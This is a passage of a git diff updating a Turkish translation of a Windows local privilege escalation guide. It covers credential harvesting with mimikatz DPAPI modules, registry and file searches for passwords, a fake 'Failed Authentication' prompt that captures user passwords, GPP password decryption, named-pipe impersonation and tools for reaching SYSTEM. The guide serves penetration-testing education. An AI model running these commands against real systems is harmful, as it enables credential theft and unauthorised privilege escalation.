C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -**mimikatz modülünü** `dpapi::cred` uygun `/masterkey` ile şifreyi çözmek için kullanabilirsiniz.\ +**mimikatz modülünü** `dpapi::cred` uygun `/masterkey` ile şifre çözmek için kullanabilirsiniz.\ **Bellekten birçok DPAPI** **masterkey** `sekurlsa::dpapi` modülü ile çıkarabilirsiniz (eğer root iseniz). {{#ref}} @@ -767,10 +767,10 @@ dpapi-extracting-passwords.md ### PowerShell Kimlik Bilgileri -**PowerShell kimlik bilgileri**, şifrelenmiş kimlik bilgilerini rahat bir şekilde saklamak için genellikle **betik** ve otomasyon görevlerinde kullanılır. Kimlik bilgileri **DPAPI** kullanılarak korunur, bu genellikle yalnızca oluşturuldukları bilgisayarda aynı kullanıcı tarafından şifresinin çözülebileceği anlamına gelir. +**PowerShell kimlik bilgileri**, şifrelenmiş kimlik bilgilerini rahat bir şekilde saklamak için genellikle **betik yazma** ve otomasyon görevlerinde kullanılır. Kimlik bilgileri **DPAPI** kullanılarak korunur, bu genellikle yalnızca oluşturuldukları bilgisayarda aynı kullanıcı tarafından şifrelerinin çözülebileceği anlamına gelir. -Bir dosyadan PS kimlik bilgilerini **şifrelemek** için şunu yapabilirsiniz: -```powershell +Bir dosyadan PS kimlik bilgilerini **şifre çözmek** için şunları yapabilirsiniz: +```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -792,7 +792,7 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| ### Kaydedilmiş RDP Bağlantıları Onları `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ -ve `HKCU\Software\Microsoft\Terminal Server Client\Servers\` içinde bulabilirsiniz. +ve `HKCU\Software\Microsoft\Terminal Server Client\Servers\` altında bulabilirsiniz. ### Son Çalıştırılan Komutlar ``` @@ -803,17 +803,17 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -**Mimikatz** `dpapi::rdg` modülünü uygun `/masterkey` ile kullanarak **herhangi bir .rdg dosyasını** şifre çözebilirsiniz.\ +Mimikatz `dpapi::rdg` modülünü uygun `/masterkey` ile kullanarak **herhangi bir .rdg dosyasını şifre çözme**\ Mimikatz `sekurlsa::dpapi` modülü ile bellekten **birçok DPAPI masterkey** çıkarabilirsiniz. ### Sticky Notes -İnsanlar genellikle Windows iş istasyonlarında şifreleri ve diğer bilgileri **kaydetmek için StickyNotes** uygulamasını kullanır, bunun bir veritabanı dosyası olduğunu fark etmezler. Bu dosya `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` konumunda bulunur ve her zaman aranıp incelenmeye değerdir. +İnsanlar genellikle Windows iş istasyonlarında **şifreleri** ve diğer bilgileri kaydetmek için StickyNotes uygulamasını kullanır, bunun bir veritabanı dosyası olduğunu fark etmezler. Bu dosya `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` konumundadır ve her zaman aranıp incelenmeye değerdir. ### AppCmd.exe **AppCmd.exe'den şifreleri kurtarmak için Yönetici olmanız ve Yüksek Bütünlük seviyesinde çalıştırmanız gerektiğini unutmayın.**\ -**AppCmd.exe** `%systemroot%\system32\inetsrv\` dizininde bulunur.\ +**AppCmd.exe** `%systemroot%\system32\inetsrv\` dizininde bulunmaktadır.\ Bu dosya mevcutsa, bazı **kimlik bilgileri** yapılandırılmış olabilir ve **kurtarılabilir**. Bu kod [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) projesinden alınmıştır: @@ -919,7 +919,7 @@ SSH özel anahtarları kayıt defteri anahtarı `HKCU\Software\OpenSSH\Agent\Key ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Eğer bu yolda herhangi bir giriş bulursanız, muhtemelen kaydedilmiş bir SSH anahtarıdır. Şifreli olarak saklanır ancak [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) kullanılarak kolayca şifresi çözülebilir.\ +Eğer o yolda herhangi bir giriş bulursanız, muhtemelen kaydedilmiş bir SSH anahtarıdır. Şifreli olarak saklanır ancak [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) kullanılarak kolayca şifresi çözülebilir.\ Bu teknik hakkında daha fazla bilgi burada: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) Eğer `ssh-agent` servisi çalışmıyorsa ve başlangıçta otomatik olarak başlamasını istiyorsanız: @@ -927,7 +927,7 @@ Eğer `ssh-agent` servisi çalışmıyorsa ve başlangıçta otomatik olarak ba Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!NOTE] -> Bu tekniğin artık geçerli olmadığı görünüyor. Bazı ssh anahtarları oluşturmaya, bunları `ssh-add` ile eklemeye ve bir makineye ssh ile giriş yapmaya çalıştım. Kayıt defteri HKCU\Software\OpenSSH\Agent\Keys mevcut değil ve procmon, asimetrik anahtar kimlik doğrulaması sırasında `dpapi.dll` kullanımını tespit etmedi. +> Bu tekniğin artık geçerli olmadığı görünüyor. Bazı ssh anahtarları oluşturmaya, bunları `ssh-add` ile eklemeye ve bir makineye ssh ile giriş yapmaya çalıştım. HKCU\Software\OpenSSH\Agent\Keys kayıt defteri yok ve procmon, asimetrik anahtar kimlik doğrulaması sırasında `dpapi.dll` kullanımını tespit etmedi. ### Unattended files ``` @@ -989,7 +989,7 @@ AppData\Roaming\gcloud\access_tokens.db ### Cached GPP Pasword -Daha önce, Grup Politika Tercihleri (GPP) aracılığıyla bir grup makinede özel yerel yönetici hesaplarının dağıtımına olanak tanıyan bir özellik mevcuttu. Ancak, bu yöntemin önemli güvenlik açıkları vardı. Öncelikle, SYSVOL'da XML dosyası olarak saklanan Grup Politika Nesneleri (GPO'lar), herhangi bir etki alanı kullanıcısı tarafından erişilebilir durumdaydı. İkincisi, bu GPP'lerdeki şifreler, kamuya belgelenmiş varsayılan bir anahtar kullanılarak AES256 ile şifrelenmişti ve herhangi bir kimlik doğrulaması yapılmış kullanıcı tarafından çözülebiliyordu. Bu, kullanıcıların yükseltilmiş ayrıcalıklar elde etmesine olanak tanıdığı için ciddi bir risk oluşturuyordu. +Daha önce, Grup Politika Tercihleri (GPP) aracılığıyla bir grup makinede özel yerel yönetici hesaplarının dağıtımına olanak tanıyan bir özellik mevcuttu. Ancak, bu yöntemin önemli güvenlik açıkları vardı. Öncelikle, SYSVOL'da XML dosyası olarak saklanan Grup Politika Nesneleri (GPO'lar), herhangi bir etki alanı kullanıcısı tarafından erişilebilir durumdaydı. İkincisi, bu GPP'ler içindeki şifreler, kamuya belgelenmiş varsayılan bir anahtar kullanılarak AES256 ile şifrelenmişti ve herhangi bir kimlik doğrulaması yapılmış kullanıcı tarafından çözülebiliyordu. Bu, kullanıcıların yükseltilmiş ayrıcalıklar elde etmesine olanak tanıdığı için ciddi bir risk oluşturuyordu. Bu riski azaltmak için, boş olmayan bir "cpassword" alanı içeren yerel olarak önbelleğe alınmış GPP dosyalarını taramak için bir işlev geliştirildi. Böyle bir dosya bulunduğunda, işlev şifreyi çözer ve özel bir PowerShell nesnesi döndürür. Bu nesne, GPP hakkında ve dosyanın konumu hakkında ayrıntılar içerir, bu da bu güvenlik açığının tanımlanmasına ve giderilmesine yardımcı olur. @@ -1012,20 +1012,20 @@ crackmapexec kullanarak şifreleri almak: crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` ### IIS Web Config -```powershell +```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -```powershell +```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config C:\inetpub\wwwroot\web.config ``` -```powershell +```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -Örnek web.config ile kimlik bilgileri: +Örnek bir web.config dosyası ile kimlik bilgileri: ```xml @@ -1065,7 +1065,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct ``` ### Kimlik bilgilerini isteyin -Her zaman **kullanıcıdan kendi kimlik bilgilerini veya farklı bir kullanıcının kimlik bilgilerini girmesini isteyebilirsiniz** eğer onları bilebileceğini düşünüyorsanız (dikkat edin ki **müşteriden** doğrudan **kimlik bilgilerini istemek gerçekten **riskli**dir): +Her zaman **kullanıcıdan kendi kimlik bilgilerini veya farklı bir kullanıcının kimlik bilgilerini girmesini isteyebilirsiniz** eğer onları bilebileceğini düşünüyorsanız (dikkat edin ki **müşteriden** doğrudan **kimlik bilgilerini istemek** gerçekten **riskli**dir): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1163,7 +1163,7 @@ reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s reg query "HKCU\Software\TightVNC\Server" reg query "HKCU\Software\OpenSSH\Agent\Key" ``` -[**AçıkSSH anahtarlarını kayıt defterinden çıkarın.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +[**Açık SSH anahtarlarını kayıt defterinden çıkarın.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) ### Tarayıcı Geçmişi @@ -1179,17 +1179,17 @@ Tarayıcılardan şifreleri çıkarmak için araçlar: ### **COM DLL Üzerine Yazma** -**Bileşen Nesne Modeli (COM)**, farklı dillerdeki yazılım bileşenleri arasında **iletişim** sağlamak için Windows işletim sistemine entegre edilmiş bir teknolojidir. Her COM bileşeni, **bir sınıf kimliği (CLSID)** ile **tanımlanır** ve her bileşen, **arayüz kimlikleri (IIDs)** ile tanımlanan bir veya daha fazla arayüz aracılığıyla işlevsellik sunar. +**Bileşen Nesne Modeli (COM)**, farklı dillerdeki yazılım bileşenleri arasında **iletişim** sağlamak için Windows işletim sistemine entegre edilmiş bir teknolojidir. Her COM bileşeni, bir sınıf kimliği (CLSID) ile **tanımlanır** ve her bileşen, arayüz kimlikleri (IIDs) ile tanımlanan bir veya daha fazla arayüz aracılığıyla işlevsellik sunar. -COM sınıfları ve arayüzleri, kayıt defterinde **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** ve **HKEY\_**_**CLASSES\_**_**ROOT\Interface** altında tanımlanmıştır. Bu kayıt defteri, **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT** birleştirilerek oluşturulur. +COM sınıfları ve arayüzleri, kayıt defterinde **HKEY\CLASSES\ROOT\CLSID** ve **HKEY\CLASSES\ROOT\Interface** altında tanımlanmıştır. Bu kayıt defteri, **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT** birleştirilerek oluşturulur. -Bu kayıt defterinin CLSID'leri içinde, bir **DLL**'ye işaret eden bir **varsayılan değer** ve **Apartment** (Tek İşlem), **Free** (Çoklu İşlem), **Both** (Tek veya Çoklu) veya **Neutral** (İşlem Nötr) olabilen bir **ThreadingModel** adlı değeri içeren **InProcServer32** adlı alt kayıt defterini bulabilirsiniz. +Bu kayıt defterinin CLSID'leri içinde, bir **DLL**'ye işaret eden bir **varsayılan değer** ve **Apartment** (Tek İşlemci), **Free** (Çok İşlemci), **Both** (Tek veya Çok) veya **Neutral** (İşlemci Nötr) olabilen bir değer olan **ThreadingModel** içeren **InProcServer32** adlı alt kayıt defterini bulabilirsiniz. ![](<../../images/image (729).png>) -Temelde, yürütülecek olan herhangi bir **DLL'yi üzerine yazabilirseniz**, o DLL farklı bir kullanıcı tarafından yürütülecekse **yetkileri artırabilirsiniz**. +Temelde, yürütülecek olan herhangi bir DLL'yi **üzerine yazabilirseniz**, o DLL farklı bir kullanıcı tarafından yürütülecekse **yetkileri yükseltebilirsiniz**. -Saldırganların COM Hijacking'i nasıl bir kalıcılık mekanizması olarak kullandığını öğrenmek için kontrol edin: +Saldırganların COM Hijacking'i kalıcılık mekanizması olarak nasıl kullandığını öğrenmek için kontrol edin: {{#ref}} com-hijacking.md @@ -1203,7 +1203,7 @@ cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**Belirli bir dosya adıyla bir dosya arayın** +**Belirli bir dosya adıyla dosya arayın** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt @@ -1222,7 +1222,7 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d [**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) bu sayfada belirtilen parolaları içeren tüm dosyaları otomatik olarak arar.\ [**Lazagne**](https://github.com/AlessandroZ/LaZagne) bir sistemden parola çıkarmak için başka bir harika araçtır. -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) aracı **oturumlar**, **kullanıcı adları** ve **parolaları** açık metin olarak kaydeden çeşitli araçların (PuTTY, WinSCP, FileZilla, SuperPuTTY ve RDP) verilerini arar. +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) aracı, **oturumlar**, **kullanıcı adları** ve **parolaları** düz metin olarak kaydeden çeşitli araçların (PuTTY, WinSCP, FileZilla, SuperPuTTY ve RDP) verilerini arar. ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1231,27 +1231,31 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Sızdırılan Handle'lar -Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ -Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\ -[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ -[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +**SYSTEM olarak çalışan bir süreç yeni bir süreç açtığında** (`OpenProcess()`) **tam erişim** ile. Aynı süreç **düşük ayrıcalıklarla yeni bir süreç oluşturduğunda** (`CreateProcess()`) **ana sürecin tüm açık handle'larını miras alır**.\ +Eğer **düşük ayrıcalıklı sürece tam erişiminiz varsa**, `OpenProcess()` ile oluşturulan **ayrıca ayrıcalıklı sürece açık handle'ı alabilir** ve **bir shellcode enjekte edebilirsiniz**.\ +[Bu örneği okuyarak **bu güvenlik açığını nasıl tespit edip istismar edeceğiniz hakkında daha fazla bilgi edinebilirsiniz**.](leaked-handle-exploitation.md)\ +[**Farklı izin seviyeleri (sadece tam erişim değil) ile miras alınan süreçler ve thread'lerin daha fazla açık handle'ını test etme ve istismar etme hakkında daha kapsamlı bir açıklama için bu diğer gönderiyi okuyun**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). -## İsimli Boru İstemcisi Taklit Etme +## İsimli Boru Müşteri Taklidi -Shared memory segments, referred to as **pipes**, enable process communication and data transfer. +Paylaşılan bellek segmentleri, **borular** olarak adlandırılır, süreç iletişimi ve veri transferini sağlar. -Windows provides a feature called **Named Pipes**, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as **named pipe server** and **named pipe client**. +Windows, **İsimli Borular** adı verilen bir özellik sunar; bu, alakasız süreçlerin verileri paylaşmasına olanak tanır, hatta farklı ağlar üzerinden bile. Bu, **isimli boru sunucusu** ve **isimli boru istemcisi** olarak tanımlanan rollerle bir istemci/sunucu mimarisine benzer. -When data is sent through a pipe by a **client**, the **server** that set up the pipe has the ability to **take on the identity** of the **client**, assuming it has the necessary **SeImpersonate** rights. Identifying a **privileged process** that communicates via a pipe you can mimic provides an opportunity to **gain higher privileges** by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found [**here**](named-pipe-client-impersonation.md) and [**here**](#from-high-integrity-to-system). +Bir **istemci** tarafından bir boru aracılığıyla veri gönderildiğinde, boruyu kuran **sunucu**, gerekli **SeImpersonate** haklarına sahip olması durumunda **istemcinin kimliğini üstlenme** yeteneğine sahiptir. Bir boru aracılığıyla iletişim kuran bir **ayrıca ayrıcalıklı süreci** tanımlamak, kurduğunuz boruyla etkileşime girdiğinde o sürecin kimliğini benimseyerek **daha yüksek ayrıcalıklar kazanma** fırsatı sunar. Böyle bir saldırıyı gerçekleştirmek için yararlı kılavuzlar [**burada**](named-pipe-client-impersonation.md) ve [**burada**](#from-high-integrity-to-system) bulunabilir. -Also the following tool allows to **intercept a named pipe communication with a tool like burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **and this tool allows to list and see all the pipes to find privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Ayrıca, aşağıdaki araç, **burp gibi bir araçla isimli boru iletişimini kesmeyi sağlar:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **ve bu araç, ayrıcalık kazanımları bulmak için tüm boruları listeleyip görmenizi sağlar** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) ## Çeşitli +### Windows'ta şeyleri çalıştırabilecek dosya uzantıları + +**[https://filesec.io/](https://filesec.io/)** sayfasına göz atın. + ### **Şifreler için Komut Satırlarını İzleme** -When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences. -```powershell +Bir kullanıcı olarak bir shell aldığınızda, **komut satırında kimlik bilgilerini geçiren** planlanmış görevler veya başka süreçler olabilir. Aşağıdaki script, her iki saniyede bir süreç komut satırlarını yakalar ve mevcut durumu önceki durumla karşılaştırarak herhangi bir farkı çıktılar. +```bash while($true) { $process = Get-WmiObject Win32_Process | Select-Object CommandLine @@ -1308,7 +1312,7 @@ Bu güvenlik açığını istismar etmek için aşağıdaki adımların gerçekl 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -Aşağıdaki GitHub deposunda gerekli tüm dosyalar ve bilgiler mevcuttur: +Aşağıdaki GitHub deposunda gerekli tüm dosyalar ve bilgiler bulunmaktadır: https://github.com/jas502n/CVE-2019-1388 @@ -1330,42 +1334,45 @@ Sonra **UAC ve UAC atlatmaları hakkında bilgi edinmek için bunu okuyun:** ### **Yeni hizmet** -Eğer zaten Yüksek Bütünlük sürecinde çalışıyorsanız, **SYSTEM'e geçiş** yapmak sadece **yeni bir hizmet oluşturup çalıştırmak** ile kolay olabilir: +Eğer zaten Yüksek Bütünlük sürecinde çalışıyorsanız, **SİSTEM'e giden yol** sadece **yeni bir hizmet oluşturup çalıştırmak** kadar kolay olabilir: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` +> [!NOTE] +> Bir hizmet ikili dosyası oluştururken, geçerli bir hizmet olduğundan veya ikilinin gerekli işlemleri hızlı bir şekilde gerçekleştirdiğinden emin olun, aksi takdirde geçerli bir hizmet değilse 20 saniye içinde sonlandırılacaktır. + ### AlwaysInstallElevated -Yüksek Bütünlük sürecinden **AlwaysInstallElevated kayıt defteri girişlerini etkinleştirmeyi** ve bir _**.msi**_ sarmalayıcı kullanarak bir ters shell **kurmayı** deneyebilirsiniz.\ +Yüksek Bütünlük sürecinden **AlwaysInstallElevated kayıt defteri girişlerini etkinleştirmeyi** ve bir _**.msi**_ sarmalayıcı kullanarak bir ters kabuk **kurmayı** deneyebilirsiniz.\ [Kayıt defteri anahtarları ve bir _.msi_ paketini nasıl kuracağınız hakkında daha fazla bilgi burada.](#alwaysinstallelevated) ### High + SeImpersonate ayrıcalığını Sisteme -**Kodu** [**buradan bulabilirsiniz**](seimpersonate-from-high-to-system.md)**.** +**Kodunuzu** [**buradan bulabilirsiniz**](seimpersonate-from-high-to-system.md)**.** ### SeDebug + SeImpersonate'den Tam Token ayrıcalıklarına -Bu token ayrıcalıklarına sahipseniz (muhtemelen bunu zaten Yüksek Bütünlük sürecinde bulacaksınız), **neredeyse her süreci** (korunan süreçler hariç) SeDebug ayrıcalığı ile **açabileceksiniz**, sürecin **token'ını kopyalayacak** ve o token ile **rastgele bir süreç oluşturacaksınız**.\ +Bu token ayrıcalıklarına sahipseniz (muhtemelen bunu zaten Yüksek Bütünlük sürecinde bulacaksınız), **neredeyse her süreci** (korunan süreçler hariç) SeDebug ayrıcalığı ile **açabileceksiniz**, sürecin **token'ını kopyalayacak** ve o token ile **rastgele bir süreç oluşturabileceksiniz**.\ Bu tekniği kullanmak genellikle **tüm token ayrıcalıklarına sahip olarak SYSTEM olarak çalışan herhangi bir süreci seçmek** şeklindedir (_evet, tüm token ayrıcalıklarına sahip SYSTEM süreçlerini bulabilirsiniz_).\ -**Önerilen tekniği uygulayan bir** [**kod örneğini burada bulabilirsiniz**](sedebug-+-seimpersonate-copy-token.md)**.** +**Önerilen tekniği uygulayan bir kod örneğini** [**buradan bulabilirsiniz**](sedebug-+-seimpersonate-copy-token.md)**.** -### **Named Pipes** +### **Adlandırılmış Borular** -Bu teknik, meterpreter tarafından `getsystem`'da yükselmek için kullanılır. Teknik, **bir boru oluşturmayı ve ardından o boruya yazmak için bir hizmet oluşturmayı/istismar etmeyi** içerir. Daha sonra, **boruyu** oluşturan **sunucu**, **`SeImpersonate`** ayrıcalığı kullanarak boru istemcisinin (hizmetin) **token'ını taklit edebilecektir** ve SYSTEM ayrıcalıklarını elde edecektir.\ -Eğer [**isimli borular hakkında daha fazla bilgi edinmek istiyorsanız bunu okumalısınız**](#named-pipe-client-impersonation).\ -Eğer [**isimli borular kullanarak yüksek bütünlükten Sisteme nasıl geçileceğine dair bir örnek okumak istiyorsanız bunu okumalısınız**](from-high-integrity-to-system-with-name-pipes.md). +Bu teknik, meterpreter tarafından `getsystem`'da yükselmek için kullanılır. Teknik, **bir boru oluşturmayı ve ardından o boruya yazmak için bir hizmet oluşturmayı/istismar etmeyi** içerir. Daha sonra, **boruyu** oluşturan **sunucu**, **`SeImpersonate`** ayrıcalığını kullanarak boru istemcisinin (hizmetin) **token'ını taklit edebilecektir** ve SYSTEM ayrıcalıklarını elde edecektir.\ +Adlandırılmış borular hakkında [**daha fazla bilgi edinmek istiyorsanız bunu okumalısınız**](#named-pipe-client-impersonation).\ +Yüksek bütünlükten Sistem'e adlandırılmış borular kullanarak geçiş yapma örneğini [**buradan okuyabilirsiniz**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Eğer **SYSTEM** olarak çalışan bir **süreç** tarafından **yüklenen bir dll'yi** **ele geçirmeyi** başarırsanız, bu izinlerle rastgele kod çalıştırabileceksiniz. Bu nedenle Dll Hijacking, bu tür ayrıcalık yükseltmeleri için de faydalıdır ve ayrıca, **yüksek bütünlük sürecinden elde edilmesi çok daha kolaydır** çünkü dll'lerin yüklendiği klasörlerde **yazma izinlerine** sahip olacaktır.\ +Eğer **SYSTEM** olarak çalışan bir **süreç** tarafından **yüklenen bir dll'yi** **ele geçirirseniz**, bu izinlerle rastgele kod çalıştırabileceksiniz. Bu nedenle, Dll Hijacking bu tür ayrıcalık yükseltmeleri için de faydalıdır ve ayrıca, yüksek bütünlük sürecinden **çok daha kolay elde edilebilir** çünkü dll'lerin yüklendiği klasörlerde **yazma izinlerine** sahip olacaktır.\ **Dll hijacking hakkında daha fazla bilgi edinebilirsiniz** [**buradan**](dll-hijacking/index.html)**.** -### **Yönetici veya Ağ Servisinden Sisteme** +### **Yönetici veya Ağ Hizmetinden Sisteme** -{{#ref}} -https://github.com/sailay1996/RpcSsImpersonator -{{#endref}} +- [https://github.com/sailay1996/RpcSsImpersonator](https://github.com/sailay1996/RpcSsImpersonator) +- [https://decoder.cloud/2020/05/04/from-network-service-to-system/](https://decoder.cloud/2020/05/04/from-network-service-to-system/) +- [https://github.com/decoder-it/NetworkServiceExploit](https://github.com/decoder-it/NetworkServiceExploit) ### LOKAL HİZMET veya AĞ HİZMETİ'nden tam ayrıcalıklara @@ -1387,18 +1394,18 @@ https://github.com/sailay1996/RpcSsImpersonator [**privesc** ](https://github.com/enjoiz/Privesc)**-- Yanlış yapılandırmaları kontrol et**\ [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY, WinSCP, SuperPuTTY, FileZilla ve RDP kaydedilmiş oturum bilgilerini çıkarır. Yerel olarak -Thorough kullanın.**\ [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Kimlik bilgilerini Credential Manager'dan çıkarır. Tespit edildi.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Toplanan parolaları alan adı üzerinde püskürt**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh, bir PowerShell ADIDNS/LLMNR/mDNS/NBNS sahteleyici ve adam ortada aracı.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Toplanan parolaları alan üzerinde püskürtme yapar**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh, bir PowerShell ADIDNS/LLMNR/mDNS/NBNS sahteleyici ve adam ortada aracıdır.**\ [**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Temel privesc Windows envanteri**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Bilinen privesc zafiyetlerini arayın (WATSON için DEPREKATE)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Yerel kontroller **(Yönetici hakları gerektirir)** +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Bilinen privesc zafiyetlerini arar (WATSON için DEPREKATE)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Yerel kontroller **(Admin hakları gerektirir)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Bilinen privesc zafiyetlerini arayın (VisualStudio kullanılarak derlenmesi gerekir) ([**önceden derlenmiş**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Yanlış yapılandırmaları aramak için host'u tarar (privesc'den daha çok bilgi toplama aracı) (derlenmesi gerekir) **(**[**önceden derlenmiş**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Bilinen privesc zafiyetlerini arar (VisualStudio kullanılarak derlenmesi gerekir) ([**önceden derlenmiş**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Yanlış yapılandırmaları aramak için ana bilgisayarı tarar (privesc'den daha çok bilgi toplama aracı) (derlenmesi gerekir) **(**[**önceden derlenmiş**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ [**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Birçok yazılımdan kimlik bilgilerini çıkarır (github'da önceden derlenmiş exe)**\ -[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp'ın C# portu**\ +[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp'ın C#'a portu**\ [~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Yanlış yapılandırmaları kontrol et (github'da önceden derlenmiş çalıştırılabilir). Tavsiye edilmez. Win10'da iyi çalışmıyor.\ [~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Olası yanlış yapılandırmaları kontrol et (python'dan exe). Tavsiye edilmez. Win10'da iyi çalışmıyor. @@ -1415,7 +1422,7 @@ https://github.com/sailay1996/RpcSsImpersonator _multi/recon/local_exploit_suggestor_ -Projeyi doğru .NET sürümü kullanarak derlemelisiniz ([bunu](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/) görün). Kurban makinedeki yüklü .NET sürümünü görmek için şunu yapabilirsiniz: +Projeyi doğru .NET sürümünü kullanarak derlemelisiniz ([bunu](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/) görün). Kurban makinedeki yüklü .NET sürümünü görmek için şunu yapabilirsiniz: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md index c8822d076..9264a5b7a 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md @@ -4,13 +4,13 @@ ### Olmayan COM bileşenlerini arama -HKCU'nun değerleri kullanıcılar tarafından değiştirilebildiğinden **COM Hijacking** **kalıcı 